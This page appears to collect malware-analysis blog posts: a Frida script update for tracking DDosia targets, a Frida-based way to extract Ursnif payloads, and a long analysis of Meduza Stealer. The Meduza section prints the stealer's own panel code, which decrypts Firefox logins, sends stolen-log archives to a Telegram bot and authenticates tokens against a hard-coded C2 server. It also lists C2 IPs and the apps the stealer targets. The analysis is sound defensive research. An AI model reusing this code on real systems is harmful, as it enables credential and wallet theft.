Since I would like to keep this update note as brief as possible, I’ll go straight to the point. What really changes and makes the previous frida script ineffective are slightly binary improvements (mostly related to the syscalls used). Because of that I tried to switch monitored syscall to WriteConsoleW, hooking on the message that confirmed the numbers of targets retrieved. I found out that I really needed to change 1 line of the previous script to keep it updated. (Great example of code reuse xD).

Note:

The modification required was pretty easy, however, this change could be also more consistent for further updates (limiting to tweak a little bit with counter variable) since it exploits the feedback messages (e.g., target acquired, requests completed, rewards, etc..) that won’t be removed any time soon.

Moreover, most of this blogpost it’s still a valid reference for setting up the environment and understanding the control flow to retrieve the actual targets, additionally, as far as I know, there were no great changes on the authentication layer. Previous configured environments needs to replace the old binary to the newer provided on DDosia channel.

New frida script: console.js

References:

FileName	Sha256	Date
d_windows_amd64.exe	726c2c2b35cb1adbe59039193030f23e552a28226ecf0b175ec5eba9dbcd336e	2023/04/19
(new sample) d_win_x64.exe	1b53443ebaabafd6f511d4cf7cb85ddf9fa32540c5dd5621f04a3c5eefa663a9	2023/11/09

Dynamic Binary Instrumentation for Malware Analysis

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

Because of the massive Ursnif campaigns that hit Italy during the last weeks, I was looking for a lightweight method to quickly extract the last infection stage of all collected samples, in order to start further analysis effectively. Due to this, I wrote a little frida script that performs basic Dynamic Binary Instrumentation (DBI) to monitor useful function calls and extracts the Ursnif payload. In this article I am going to briefly discuss this script and the steps needed to start analyzing the resulting binary.

Since I would like to skip redundant topics that are already written all over the internet by people that are Jedi in this field, I’m going to limit this post linking references that would be nice to have to understand everything easily.

Intercepting function calls

Most of the time, malware, in order to write memory and run code from the newly allocated space, make use of two functions, such as: VirtualAlloc (ref.) and VirtualProtect (ref.). For the purpose of our task, I have chosen the VirtualProtect function, because at the time of its calling, the data (payload) should be already there and it would be easier to analyze.

So let’s start to write out the code that retrieves the reference of this function and the interceptor that is going to be used to monitor function calls entry and return. Thanks to Frida, it is possible to directly retrieve function arguments through the variable args and check their values. The most important parameter and the one that will be used for our purpose is the lpAddress that represents the address space that is involved in this function call.

Figure 1 – References to VirtualProtect and call Interceptor

Because of the purpose of the article we are not interested in all VirtualProtect calls but we would like to limit our scope to ones that contain a PE header. To do this, it’s possible to verify if lpAddress starts with “MZ” or “5d4a”. If so, we could print out some values in order to check them against the running executable using tools such as ProcessMonitor or ProcessHacker.

Figure 2 – Printing VirtualProtect arguments

Retrieving the payload

Now comes the tricky part. If we simply apply this technique to dump the memory that contains the MZ, it would be possible for us to also dump the binary that we originally started the infection with. However, analyzing Ursnif code, it’s possible to see that it creates a dedicated memory space to write its final stage that is commonly referenced as a DLL. In order to avoid that, it’s possible to use a function findModuleByAddress that belongs to the Process object.

As reported by Frida documentation:

Process.findModuleByAddress(address) returns a Module whose address or name matches the one specified. In the event that no such module could be found, the find-prefixed functions return null whilst the get-prefixed functions throw an exception.

In order to avoid exception handling stuff I have preferred to go with find prefix function and then checking if the Module returned is equal to null. Otherwise, we would have an existing module object and module.base = image base.

Now, as a final step before moving on and dumping the actual payload, it’s necessary to retrieve the page size to which lpAddress belongs. That information could be retrieved using the findRangeByAddress that return an object with details about the range (memory page) containing address.

Figure 3 – Checking for payload address

Dumping config file

Now that we have all the information required, it’s time to dump the actual Ursnif payload. In order to do this, it’s possible to read the page related to lpAddress using the readByteArray using the module.size. Once the information has been stored, it’s possible to write it in a file that could be used later on for further manipulation and analysis.

Figure 4 – Dumping Ursnif payload

It’s worth noting that before proceeding with the configuration extraction phase, it’s necessary to modify Raw addresses and Virtual Addresses of each section header accordingly. This step is necessary because the payload was extracted directly from memory.

Script Testing

Now that we have completed our script it’s time for testing with a real case! Let’s take one of the recent samples delivered by the TA and see if it works. For this example I have chosen a publicly available sample on MalwareBazar.

Running the script against this sample with Frida as follow:

frida.exe <mal_executable> -l <your_script.js>

It will produce a file called 0x2cf0000_mz.bin (it may vary from the memory address allocation on your machine).

Figure 5 – Ursnif payload extraction with Frida

If we open this file with PE-Bear, what should alert us, is the import table that contains unresolved information. This happens, because our code has been extracted directly from memory and before proceeding with our analysis it is necessary to map the raw sections addresses with their virtual counterparts (for brevity I have prepared a script that is going to perform these steps automatically). After having settled the addresses properly, it’s possible to proceed with configuration extraction through a custom script (that is out of the scope for this post).

Reference

DBI script: mon.py

Meduza Stealer or The Return of The Infamous Aurora Stealer

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Meduza’s Gaze

Meduza Stealer … Yes, you read it right, I did not misspelled it, is a new stealer that appeared on Russian-speaking forums at the beginning of June 2023. The stealer is written in C++ and is approximately 600KB in size. The DLL dependencies are statically linked to the binary, which reduces the detection. It’s also worth noting that the collected logs are not stored on the disk.

The stealer collects the data from 100 browsers which includes Chromium and Gecko browsers.

Chromium Browsers

Google Chrome, Google Chrome Beta, Google Chrome (x86), Google Chrome SxS, 360ChromeX, Chromium, Microsoft Edge, Brave Browser, Epic Privacy Browser, Amigo, Vivaldi, Kometa, Orbitum, Mail.Ru Atom, Comodo Dragon, Torch, Comodo, Slimjet, 360Browser, 360 Secure Browser, Maxthon3, Maxthon5, Maxthon, QQBrowser, K-Meleon, Xpom, Lenovo Browser, Xvast, Go!, Safer Secure Browser, Sputnik, Nichrome, CocCoc Browser, Uran, Chromodo, Yandex Browser, 7Star, Chedot, CentBrowser, Iridium, Opera Stable, Opera Neon, Opera Crypto Developer, Opera GX, Elements Browser, Citrio, Sleipnir5 ChromiumViewer, QIP Surf, Liebao, Coowon, ChromePlus, Rafotech Mustang, Suhba, TorBro, RockMelt, Bromium, Twinkstar, CCleaner Browser, AcWebBrowser, CoolNovo, Baidu Spark, SRWare Iron, Titan Browser, AVAST Browser, AVG Browser, UCBrowser, URBrowser, Blisk, Flock, CryptoTab Browser, SwingBrowser, Sidekick, Superbird, SalamWeb, GhostBrowser, NetboxBrowser, GarenaPlus, Kinza, InsomniacBrowser, ViaSat Browser, Naver Whale, Falkon

Gecko Browsers

Firefox, SeaMonkey, Waterfox, K-Meleon, Thunderbird, CLIQZ, IceDragon, Cyberfox, BlackHawk, Pale Moon, IceCat, Basilisk, BitTube, SlimBrowser

Data from 107 cryptowallets are also collected by Meduza Stealer, including cryptowallet extensions and desktop cryptowallets.

Cryptowallet Extensions

Metamask, Metamask (Edge), Metamask (Opera), BinanceChain, Bitapp, Coin98, Safe Pal, Safe Pal (Edge), DAppPlay, Guarda, Equal, Guild, Casper, Casper (Edge), ICONex, Math, Math (Edge), Mobox, Phantom, TronLink, XinPay, Ton, Sollet, Slope, DuinoCoin, Starcoin, Hiro Wallet, MetaWallet, Swash, Finnie, Keplr, Crocobit, Oxygen, Nifty, Liquality, Ronin, Ronin (Edge), Oasis, Temple, Pontem, Solflare, Yoroi, iWallet, Wombat, Coinbase, MewCx, Jaxx Liberty (Web), OneKey, Hycon Lite Client, SubWallet (Polkadot), Goby, TezBox, ONTO Wallet, Hashpack, Cyano, Martian Wallet, Sender Wallet, Zecrey, Auro, Terra Station, KardiaChain, Rabby, NeoLine, Nabox, XDeFi, KHC, CLW, Polymesh, ZilPay, Byone, Eternl, Guarda (Web), Nami, Maiar DeFi Wallet, Leaf Wallet, Brave Wallet, Opera Wallet, CardWallet, Flint, Exodus (Web), TrustWallet, CryptoAirdrop

Desktop cryptowallets

Coinomi, Dash, Litecoin, Bitcoin, Dogecoin, Qtum, Armory, Bytecoin, MultiBit, Jaxx Liberty, Exodus, Ethereum, Electrum, Electrum-LTC, Atomic Wallet, Guarda, WalletWasabi, ElectronCash, Sparrow, IOCoin, PPCoin, BBQCoin, Mincoin, DevCoin, YACoin, Franko, FreiCoin, InfiniteCoin, GoldCoinGLD, Binance, Terracoin, Daedalus Mainnet, MyMonero, MyCrypto, AtomicDEX, Bisq, Defichain-Electrum, TokenPocket (Browser), Zap

Other than browsers and cryptowallets, the stealer also collects sensitive information from password managers, Discord clients (Discord, DiscordCanary, DiscordPTB, Lightcord, DiscordDevelopment), and Telegram clients (Kotatogram, Telegram desktop).

Password Managers

Authenticator, Authenticator (Edge), Trezor Password Manager, GAuth Authenticator, EOS Authenticator, 1Password, 1Password (Edge), KeePassXC (Web), KeePassXC (Web Edge), Dashlane, Dashlane (Edge), Bitwarden, Bitwarden (Edge), NordPass, Keeper, RoboForm (Web), RoboForm (Web Edge), LastPass, LastPass (Edge), BrowserPass, MYKI, MYKI (Edge), Splikity, CommonKey, SAASPASS, Zoho Vault, Authy (Web)

With the new update of the stealer (version 1.3), the panel functionality has changed which allows the users to configure Telegram bot to receive the logs, the FileGrabber functionality was also added with the new update. The stealer also has the file size pumper feature that increases the file size to avoid sandbox and AV analysis; the feature is mostly deployed in all common stealers now, such as Vidar, WhiteSnake Stealer, and Aurora Stealer (RIP).

The stealer is priced at:

1 month – 199$
3 months – 399$

Meduza Stealer does not work in CIS (Commonwealth of Independent States) countries.

P.S: if anyone has the newest version of the stealer, please reach out to me 😉

An example of the received logs is shown below.

Technical Analysis

Logs are decrypted on the server side. Below is the snippet of master password decryption on Mozilla and other Gecko browsers. Taking, for example, the get key function. The code first checks if key4.db exists. This is the key database used by Firefox versions 58.0.2 and above. If key4.db exists, it opens an SQLite connection to the file and performs SQL queries to fetch the globalSalt and item2 data, which are used in decrypting the master key. It then checks if the decrypted text from item2 is equal to b’password-check\x02\x02’, a hardcoded string used by Firefox to verify the master password. If the master password is correct, it continues to the next step. Otherwise, it returns None, None, indicating a failure to retrieve the key and the algorithm. The function then queries the database to fetch a11 and a102. a11 is the encrypted master key, and a102 should match the constant CKA_ID. If a102 does not match CKA_ID, it logs a warning and returns None, None. It then decrypts a11 (the encrypted master key) using the decryptPBE function and the globalSalt. The first 24 bytes of the decrypted text are the key used to decrypt the login data. If key4.db does not exist, it checks for the existence of key3.db, which is the older key database used by Firefox. If key3.db exists, it reads the key data from the file and extracts the decryption key using the function extractSecretKey. It also hardcodes the cryptographic algorithm used (‘1.2.840.113549.1.12.5.1.3’, an OBJECTIDENTIFIER, is the identifier for the Triple DES encryption algorithm in CBC mode). If neither key4.db nor key3.db exists in the directory, it logs an error and returns None, None.

def get_key(masterPassword: bytes, directory: Path) -> Tuple[Optional[bytes], Optional[str]]:
    if (directory / 'key4.db').exists():
        conn = sqlite3.connect(directory / 'key4.db')  # firefox 58.0.2 / NSS 3.35 with key4.db in SQLite
        c = conn.cursor()
        # first check password
        c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';")
        row = c.fetchone()
        globalSalt = row[0]  # item1
        item2 = row[1]
        printASN1(item2, len(item2), 0)
        decodedItem2 = decoder.decode(item2)
        clearText, algo = decryptPBE(decodedItem2, masterPassword, globalSalt)

        if clearText == b'password-check\x02\x02':
            c.execute("SELECT a11,a102 FROM nssPrivate;")
            for row in c:
                if row[0] != None:
                    break
            a11 = row[0]  # CKA_VALUE
            a102 = row[1]
            if a102 == CKA_ID:
                printASN1(a11, len(a11), 0)
                decoded_a11 = decoder.decode(a11)
                # decrypt master key
                clearText, algo = decryptPBE(decoded_a11, masterPassword, globalSalt)
                return clearText[:24], algo
            else:
                logger.warning('No saved login/password')
        return None, None
    elif (directory / 'key3.db').exists():
        keyData = readBsddb(directory / 'key3.db')
        key = extractSecretKey(masterPassword, keyData)
        return key, '1.2.840.113549.1.12.5.1.3'
    else:
        logger.error('Cannot find key4.db or key3.db')
        return None, None

def gecko_decrypt(
        s_path: str,
        master_password: str = ""
) -> Optional[List[GeckoLogin]]:
    try:
        path = Path(s_path)
        key, algo = get_key(master_password.encode(), path)
        if key is None:
            raise ValueError("Unknown error: try to specify master password")

        logins = getLoginData(path)
        if len(logins) == 0:
            logger.warning("No stored passwords")
        else:
            logger.info("Decrypting login/password pairs")
        result: List[GeckoLogin] = []
        if algo == '1.2.840.113549.1.12.5.1.3' or algo == '1.2.840.113549.1.5.13':
            for login in logins:
                assert login[0][0] == CKA_ID
                res = GeckoLogin()
                res.url = login[2]
                iv = login[0][1]
                ciphertext = login[0][2]
                res.username = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
                iv = login[1][1]
                ciphertext = login[1][2]
                res.password = unpad(DES3.new(key, DES3.MODE_CBC, iv).decrypt(ciphertext), 8).decode()
                result.append(res)
        logger.debug(result)
        return result
    except KeyboardInterrupt as ki:
        raise ki
    except BaseException as error:
        return logger.error(f"{type(error).__name__}: {str(error)}")

Below is the snippet of how the logs are parsed and sent to Telegram Bot. The logs are compressed with 7z.

async def send_to_telegram(
    chat_id: int,
    bot_token: str,
    path: str,
    hwid: str,
    geo: str,
    build_name: str,
    credit_card_count: int,
    cookies_count: int,
    passwords_count: int,
    wallets_count: int,
    steam: bool,
    ip: str
) -> None:
    try:
        async with httpx.AsyncClient(
            base_url=f"https://api.telegram.org/bot{bot_token}",
            http2=True,
            headers={
                "Connection": "close",
                "Accept": "application/json",
                "Accept-Encoding": "gzip, deflate, br"
            }
        ) as client:
            data = {
                "chat_id": chat_id,
                "caption": f"""💻IP: {ip}
🌏Geo: {geo}
🛰Hwid: {hwid}
🛢Build name: {build_name}
💳Credit card: {credit_card_count}
🍪Cookies: {cookies_count}
🔑Password: {passwords_count}
💸Wallets: {wallets_count}
🎮Steam: {steam}"""
            }
            files = {
                "document": (f"[{geo}] {hwid}.7z", open(path, "rb"), "application/x-7z-compressed")
            }
            resp = await client.post("/sendDocument", files=files, data=data)
            await resp.aclose()
    except KeyboardInterrupt as ki:
        raise ki
    except BaseException as ex:
        return logger.error(ex)

The code below is responsible for adding tokens and validating their integrity, ensuring their authenticity before interacting with the main server. It performs validations on the received data, such as checking the timestamp and verifying the integrity of the data. The code checks the provided timestamp against the current UTC timestamp to ensure it is within an acceptable range. If the timestamp is invalid, an error response is returned. If the validations pass, the code encrypts the token and sends a request to the main server (hxxp://89.185.85[.]245) with the encrypted token and other necessary information. The code uses the HashGenerator class and the SHA-512 hash algorithm (sha512) to generate a hash of the concatenated values of token and data.utc_timestamp. It then compares this generated hash with the provided data.sign. If the hashes do not match, an error response is returned, indicating that the input data cannot be validated. The response from the server is processed, and if the authentication is successful (based on the success flag in the response), the received token is stored in the database for further use. A similar operation is performed in the payload. The payload is sent to a remote server as part of an HTTP request. The server will use the provided sign value to validate the integrity of the data by performing the same hash calculation on its end, taking the generated hash value for panel_hash obtained from the registry key into consideration.

  
@bp.route("/token", methods=[RequestMethod.POST])
async def add_token() -> Response:
    json_data = await request.json
    if not AddTokenRequest.validate(json_data):
        return bad_request("Could not validate input data!", additional_data={"success": False})
    data = AddTokenRequest(**json_data)
    if (datetime.datetime.utcnow() - datetime.datetime.fromtimestamp(data.utc_timestamp)) > REQUEST_TIMESTAMP_DELTA:
        return bad_request("Invalid timestamp date!", additional_data={"success": False})
    key = base64.urlsafe_b64decode(data.nonce.encode(Encodings.UTF_8))
    cipher = XSalsaPoly1305(sha256(key, encoder=RawEncoder))
    token = cipher.decrypt_as_string(data.token, encoder=URLSafeBase64Encoder)
    token = TokenSigner.get_and_verify(token)
    if not token:
        return bad_request("Failed to validate user token!", additional_data={"success": False})
    if not HashGenerator(sha512(key, encoder=RawEncoder)).hash_verify(message=token + str(data.utc_timestamp), message_hash=data.sign, encoder=URLSafeBase64Encoder):
        return bad_request("Could not validate input data!", additional_data={"success": False})
    try:
        async with httpx.AsyncClient(
            base_url="http://89.185.85.245",
            http2=True,
            headers={
                "Connection": "close",
                "Content-Type": "application/json",
                "Accept": "application/json",
            }
        ) as client:
            nonce = os.urandom(SecretBox.KEY_SIZE)
            panel_hash = get_panel_hash()
            if not panel_hash:
                return expectation_failed("Error: Panel is not registered yet", additional_data={"success": False})
            timestamp = datetime.datetime.utcnow().timestamp()
            payload = {
                "nonce": base64.urlsafe_b64encode(nonce).decode(Encodings.UTF_8),
                "panel_hash": panel_hash,
                "token": XSalsaPoly1305(sha256(nonce, encoder=RawEncoder)).encrypt(token, encoder=URLSafeBase64Encoder),
                "utc_timestamp": timestamp,
                "sign": HashGenerator(sha512(nonce, encoder=RawEncoder)).hash_gen(token + panel_hash + str(timestamp), encoder=URLSafeBase64Encoder)
            }
            resp = await client.post("/api/auth/token", json=payload)
            data = resp.json()
            success = data.get("success", False)
            if not success:
                return auth_error(f"Failed to add token, server response: {data.get('message', '[No Response]')}", additional_data={"success": False})
            await resp.aclose()
            async with sessionmaker() as session:
                async with session.begin():
                    token_bd = Token(value=token)
                    session.add(token_bd)
                    await session.commit()
                    return jsonify({"message": "Token was added successfully!", "success": True})
                
    except httpx.HTTPError as ex:
        return expectation_failed(f"Could not validate auth token on the main server: {type(ex)} {str(ex)}", additional_data={"success": False})

As mentioned before, the panel handles the parsing and decryption of the collected data. You can see how it parses the data extracted from Chromium browsers using SQL queries in a pseudocode below. Interestingly enough, we can also see the path of the Meduza Stealer’s source code: C:\Users\79026\source\repos\MedusaServer\Src\Core\Parser\Chromium.cpp

Meduza Stealer performs panel hash verification as a part of the panel authentication/registration process. It queries the hash value assigned to PanelHash under Computer\HKEY_CURRENT_USER\SOFTWARE\Medusa.

Below is the mention of the log folder creation and builder output to notify that the main socket is listening on port 15666. Please note that the port is static and cannot be changed at this time.

Have you noticed that there is a mention of AuroraStealer.cpp? Also, if you compare the logs for Aurora and Meduza stealers. I wrote a blog on Aurora Stealer if you want to check it out here. I am not aware of any Aurora Stealer source code leaks so far. But if you know of any, I would love to hear about it.

Moreover, there is also a slight overlap in Telegram logs layout.

The code below is responsible for creating folders for gathered logs that are then archived.

In the code snippet below, you can see that the pointers to the vftables (virtual function tables) of classes, such as GeckoParser, SteamDecoder, TelegramParser, DiscordParser, and SystemParser are being assigned. These vftables act as a “lookup table” for the corresponding objects’ virtual functions. When a virtual function is invoked on an object, the stealer will refer to the appropriate vftable based on the object’s type at runtime to determine the specific implementation of the function to execute, for example, parsing the system information collected.

The stealer uses vpxor and pxor instructions to perform Vector Packed Bitwise XOR and Packed XOR operations on strings. The xor instruction in x86 assembly language performs a bitwise XOR operation between two operands, which can be registers or memory locations. It operates on single data elements rather than vectorized data. On the other hand, vpxor and pxor instructions are specifically designed for SIMD operations (Single instruction, multiple data), where multiple data elements are processed simultaneously in parallel. These instructions allow for parallel execution of XOR operations on packed data and can significantly improve performance in scenarios that involve processing large amounts of data in parallel.

The stealer retrieves the information about the native system and version information using RtlGetVersion and GetNativeSystemInfo functions accordingly and then parses the retrieved information based on the following decrypted strings:

Unknown Edition
Web Server (core installation)
Standard Edition (core installation)
Microsoft Hyper-V Server
Windows 10 IoT Core
Windows IoT Enterprise
Windows Home Server
Windows Storage Server
Standard Edition
Small Business Server Premium Edition
Small Business Server
Server Enterprise (core installation)
Enterprise Evaluation
Server Enterprise
Server Standard (core installation)
Datacenter Edition (core installation)
Datacenter Edition
Server Hyper Core V
Business Edition
Windows Essential Server Solution Management
Windows Essential Server Solution Additional
Professional Education

Meduza Stealer reaches out to https://api.ipify.org to determine the public IP of the infected machine.

The code below retrieves and processes geographic information based on the user’s location and then appends the result to “geo” tag.

The time zone information is retrieved via accessing the registry key SYSTEM\CurrentControlSet\Control\TimeZoneInformation and calling the function TimeZoneKeyName.

Telegram presence on the host is checked via the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1, specifically the InstallLocation value.

C2 Communication

C2 communication is super similar to Aurora Stealer. It is base64-encoded and parsed in a JSON format. As mentioned before, the stealer communicates with the server over the default port 15666.

Summary

Meduza Stealer developers also offer malware development services based on C/C++, Java, JavaScript/TypeScript, Kotlin (JVM), and Python programming languages. (No mention of GoLang? 🙂 ). We might never find out the truth, but it is highly likely that Aurora Stealer developers are also behind Meduza Stealer.

According to Abaddon, who specializes in providing services similar to the Eye of God (one of the Russian Internet’s main data-leak hubs), the Botnet project was the reason Aurora left the market unexpectedly and taking its servers down; it failed to meet users’ expectations and delivered many promises for the product that they could not handle. It is worth mentioning that Aurora priced the botnet at 700$ for a month and 3000$ for lifetime access.

To summarize this blog, I wrote an IDAPython script to decrypt the strings for 32-bit samples of Meduza Stealers. You can access the script on my GitHub page

Out of curiosity, I tried to pivot other samples based on the developer’s path and stumbled upon HydraClipper (MD5: add6ae21d25ffe8d312dd10ba98df778), which is apparently a clipper that is likely written by the same developer.

IDAPython string decryption script

# Author: RussianPanda
# Reference: https://github.com/X-Junior/Malware-IDAPython-Scripts/tree/main/PivateLoader
# Tested on sample https://www.unpac.me/results/7cac1177-08f5-4faa-a59e-3c7107964f0f?hash=29cf1ba279615a9f4c31d6441dd7c93f5b8a7d95f735c0daa3cc4dbb799f66d4#/

import idautils, idc, idaapi, ida_search
import re  

pattern1 = '66 0F EF'
pattern2 = 'C5 FD EF'

# Start search from end of the file
start = idc.get_segm_end(idc.get_first_seg())

addr_to_data = {}  

def search_and_process_pattern(pattern, start):
    while True:
        addr = ida_search.find_binary(start, 0, pattern, 16, ida_search.SEARCH_UP | ida_search.SEARCH_NEXT)

        if addr == idc.BADADDR:  
            break

        ptr_addr = addr 
        found_mov = False  
        data = ''  

        for _ in range(400):
            ptr_addr = idc.prev_head(ptr_addr)

            if idc.print_insn_mnem(ptr_addr) == 'call' or idc.print_insn_mnem(ptr_addr) == 'jmp' or idc.print_insn_mnem(ptr_addr) == 'jz':
                break

            if idc.print_insn_mnem(ptr_addr) == 'movaps' and re.match(r'xmm[0-9]+', idc.print_operand(ptr_addr, 1)):
                break

            if idc.print_insn_mnem(ptr_addr) == 'mov':
                # Ignore the instruction if the destination is ecx
                if idc.print_operand(ptr_addr, 0) == 'ecx' or idc.print_operand(ptr_addr, 0) == 'edx':
                    continue

                op1_type = idc.get_operand_type(ptr_addr, 0)
                op2_type = idc.get_operand_type(ptr_addr, 1)

                operand_value = idc.get_operand_value(ptr_addr, 1)  

                if (op1_type == idc.o_displ or op1_type == idc.o_reg) and op2_type == idc.o_imm and len(hex(operand_value)[2:]) >= 4:
                    hex_data = hex(idc.get_operand_value(ptr_addr, 1))[2:]
                    hex_data = hex_data.rjust(8, '0') 

                    if hex_data.endswith('ffffffff'):
                        hex_data = hex_data[:-8]
                    if hex_data.startswith('ffffffff'):
                        hex_data = hex_data[8:]

                    # Alternative method for unpacking hex data
                    bytes_data = bytes.fromhex(hex_data)
                    int_data = int.from_bytes(bytes_data, 'little')
                    hex_data = hex(int_data)[2:].rjust(8, '0')

                    data = hex_data + data  
                    found_mov = True

        if found_mov:  # Append the data only if the desired mov instruction was found
            if addr in addr_to_data:
                addr_to_data[addr] = data + addr_to_data[addr]
            else:
                addr_to_data[addr] = data

        # Continue search from the previous address
        start = addr - 1

# Search and process pattern1
search_and_process_pattern(pattern1, start)

# Reset the start variable to search for pattern2
start = idc.get_segm_end(idc.get_first_seg())

# Search and process pattern2
search_and_process_pattern(pattern2, start)

# XOR the string and key and print the decrypted strings
for addr, data in addr_to_data.items():
    if len(data) >= 10:
        string = data[:len(data)//2]
        key = data[len(data)//2:]

        # XOR the string and key
        xored_bytes = bytes([a ^ b for a, b in zip(bytes.fromhex(string), bytes.fromhex(key))])

        decrypted_string = xored_bytes.decode('utf-8', errors='ignore')

        print(f"{hex(addr)}: {decrypted_string}")
    
        # Set IDA comment at the appropriate address
        idaapi.set_cmt(addr, decrypted_string, 0)

Decrypted strings

0x45790c: build_name
0x45774e: execute_path
0x4572b0: screenshot
0x457107: hwid
0x455b91: TimeZoneKeyName
0x454a93:  (x64)
0x4549bf:  (x86)
0x4548eb:  (IA64)
0x4544e4:  Web Server
0x4541c5:  Team
0x452c75:  Education
0x4527d3:  HPC Edition
0x45257c:  Starter
0x452325:  Enterprise
0x451dbb:  Home
0x451ce7:  Home Basic
0x451c13:  Home Premium
0x4519bc:  Professional
0x4518e8:  Ultimate
0x4514cc: Windows 
0x44f6cd: encrypted_key
0x44f581: os_crypt
0x445dfe: Root
0x4408ac: OpenVPN
0x440183: .ovpn
0x43fb3e: discord
0x43f3b8: discord
0x43f1b2: discord
0x43e00d: ssfn
0x43de5b: SteamPath
0x43db98: Steam
0x43cd1e: SOFTWARE\
0x43cc5e: -Qt
0x43cb3a: wallet.dat
0x43ca37: strDataDir
0x43c067: wallet_path
0x43bce8: MoneroCore
0x43b457: datadir
0x43b0d8: Etherwall
0x43ae93: Kotatogram
0x43ac9f: Telegram
0x43a046: tdata
0x439d95: ktg_lang
0x439cd1: user_data#3
0x439c0d: user_data#2
0x439b42: user_data
0x439a81: tdummy
0x4396aa: InstallLocation
0x438e8a: InstallLocation
0x436268: Wallets
0x436178: Grabber
0x436088: telegram
0x435f98: Profiles
0x435d18: Local State
0x435c28: User Data
0x435b38: Profile
0x435a48: Default
0x435958: gecko_browsers
0x435613: TJ
0x435533: MD
0x435453: KG
0x435373: AM
0x435290: UZ
0x4351b3: TM
0x4350ee: GE
0x435023: BY
0x434f5e: KZ
0x434e92: RU
0x434d8d: 167.88.15.114
0x434897: key3.db
0x434797: key4.db
0x434698: signons.sqlite
0x43459a: logins.json
0x434496: cookies.sqlite
0x433e33: Login Data
0x433d23: UC Login Data
0x433c13: Login Data
0x433b03: Ya Passman Data
0x4339f3: Login Data
0x4338e3: Login Data
0x4337d3: History
0x4336c9: History
0x4335c8: Bookmarks
0x4334bb: Bookmarks
0x433023: Cookies
0x432f13: Cookies
0x432e09: Network Cookies
0x432d0b: Network\Cookies
0x432c0a: Web Data
0x432b08: Web Data
0x43272c: CryptoAirdrop
0x4323d8: TrustWallet
0x43209c: Exodus (Web)
0x431d21: Flint
0x431961: CardWallet
0x4315a1: Opera Wallet
0x4311e1: Brave Wallet
0x430e21: Leaf Wallet
0x4305f1: Nami
0x430231: Guarda (Web)
0x42fe71: Eternl
0x42fab1: Byone
0x42f6f1: ZilPay
0x42f331: Polymesh
0x42ef71: CLW
0x42ebb1: Auro
0x42e7f1: OneKey
0x42e431: KHC
0x42e071: XDeFi
0x42dcb1: Nabox
0x42d8f1: NeoLine
0x42d531: Rabby
0x42d171: KardiaChain
0x42cdb1: Terra Station
0x42c9f1: Auro
0x42c631: Zecrey
0x42c271: Sender Wallet
0x42beb1: Martian Wallet
0x42baf1: Cyano
0x42b731: Hashpack
0x42b371: ONTO Wallet
0x42afb1: TezBox
0x42abf1: Goby
0x429f51: OneKey
0x429721: MewCx
0x429361: Coinbase
0x428fa1: Wombat
0x428be1: iWallet
0x428821: Yoroi
0x428461: Solflare
0x4280a1: Pontem
0x427ce1: Temple
0x427921: Oasis
0x427561: Ronin (Edge)
0x4271a1: Ronin
0x426de1: Liquality
0x426a21: Nifty
0x426661: Oxygen
0x4262a1: Crocobit
0x425ee1: Keplr
0x425b21: Finnie
0x425761: Swash
0x4253a1: MetaWallet
0x424fe1: Hiro Wallet
0x424c21: Starcoin
0x424861: DuinoCoin
0x4244a1: Slope
0x4240e1: Sollet
0x423d21: Ton
0x423961: XinPay
0x4235a1: TokenPocket
0x4231e1: TronLink
0x422e21: Phantom
0x422a61: Mobox
0x4226a1: Math (Edge)
0x4222e1: Math
0x421f21: ICONex
0x421b61: Casper (Edge)
0x4217a1: Casper
0x4213e1: Guild
0x421025: Equal
0x420c71: Guarda
0x4208b1: DAppPlay
0x4204f1: Safe Pal (Edge)
0x420131: Safe Pal
0x41fd71: Coin98
0x41f9b1: Bitapp
0x41f5f1: BinanceChain
0x41edc8: Metamask (Edge)
0x41ea1b: Metamask
0x41e5c3: Authy (Web)
0x41e223: Zoho Vault
0x41de83: SAASPASS
0x41dae3: CommonKey
0x41d743: Splikity
0x41d3a3: MYKI (Edge)
0x41d003: MYKI
0x41cc63: BrowserPass
0x41c8c3: LastPass (Edge)
0x41c523: LastPass
0x41bd37: RoboForm (Web)
0x41b9a3: Keeper
0x41b607: NordPass
0x41ae23: Bitwarden
0x41aa83: Dashlane (Edge)
0x41a6e7: Dashlane
0x419f07: KeePassXC (Web)
0x419727: 1Password
0x418249: Authenticator
0x417ec8: SlimBrowser
0x417bf7: BitTube
0x417924: Basilisk
0x417817: Mozilla\IceCat
0x41770a: IceCat
0x417439: Pale Moon
0x417168: BlackHawk
0x416e97: Cyberfox
0x416bc3: IceDragon
0x416ab3: CLIQZ
0x4169a3: CLIQZ
0x416893: Thunderbird
0x416787: Thunderbird
0x416687: K-Meleon
0x416587: K-Meleon
0x416485: Waterfox
0x416378: Waterfox
0x4160a7: SeaMonkey
0x415f9a: Mozilla\Firefox
0x415e96: Firefox
0x415ce4: Falkon\profiles
0x415bd7: Falkon\profiles
0x415903: Naver Whale
0x41562b: ViaSat Browser
0x415193: Kinza
0x415083: Kinza
0x414f73: GarenaPlus
0x414e63: GarenaPlus
0x414d53: NetboxBrowser
0x414c43: NetboxBrowser
0x414b33: GhostBrowser
0x414a23: GhostBrowser
0x414913: SalamWeb
0x414803: SalamWeb
0x4146f3: Superbird
0x4145e3: Superbird
0x4144d3: Sidekick
0x4143c5: Sidekick
0x4142b8: SwingBrowser
0x4141ab: SwingBrowser
0x413d13: Flock
0x413c03: Flock
0x413af3: Blisk
0x4139e3: Blisk
0x4138d4: URBrowser
0x4137c7: URBrowser
0x4134f3: UCBrowser
0x4133e4: AVG\Browser
0x4132d7: AVG Browser
0x413003: AVAST Browser
0x412ef3: Titan Browser
0x412de3: Titan Browser
0x412cd3: SRWare Iron
0x412bc3: SRWare Iron
0x412ab3: Baidu Spark
0x4129a3: Baidu Spark
0x412893: CoolNovo
0x412785: CoolNovo
0x412678: AcWebBrowserr
0x41256b: AcWebBrowser
0x4120d3: Twinkstar
0x411fc3: Twinkstar
0x411eb3: Bromium
0x411da3: Bromium
0x411c93: RockMelt
0x411b83: RockMelt
0x411a73: TorBro\Profile
0x411963: TorBro
0x411853: Suhba
0x411743: Suhba
0x4110e3: ChromePlus
0x410fd3: Coowon\Coowon
0x410ec3: Coowon
0x410db3: Liebao
0x410ca3: Liebao
0x410b94: QIP Surf
